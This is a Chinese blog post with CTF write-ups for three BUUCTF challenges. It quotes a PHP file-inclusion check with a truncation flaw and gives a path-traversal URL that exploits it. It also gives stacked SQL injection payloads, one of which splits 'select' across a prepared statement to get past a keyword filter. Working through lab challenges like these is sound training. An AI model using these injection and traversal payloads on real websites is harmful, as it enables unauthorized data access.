BUUCTF

HCTF-2018——WarmUp

打开页面F12发现

<!--source.php-->

访问这个页面,给出源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现还有一个页面 ["source"=>"source.php","hint"=>"hint.php"]

然后访问发现

image-20200528152408725

然后又源码审计发现,截取有问题

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')

然后就构造url

/source.php?file=hint.php?../../../../../../ffffllllaaaagggg

image-20200528152830317

强网杯-2019——随便注

打开页面是简单的sql注入

image-20200528153946778

发现过滤

image-20200528154035153

使用堆叠查询

image-20200528154324832

然后使用-1';show columns from 1919810931114514#

image-20200528154720885

查询数据,因为过滤了select,使用预编译

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;

image-20200528155131236

检测到关键吃,大小写绕过

image-20200528155208284

直接上sqlmap更简单

Suctf 2019 easysql

image-20200530152946518

堆叠查询,1;show databases;

image-20200530153029326

然后又做了好久没办法查询flag,去找wp发现,有源码泄漏,然后没有过滤*号,就导致

输入*,1 就可以得到flag

image-20200530153130264

posted @ 2022-06-13 09:36  Rlins  阅读(81)  评论(0)    收藏  举报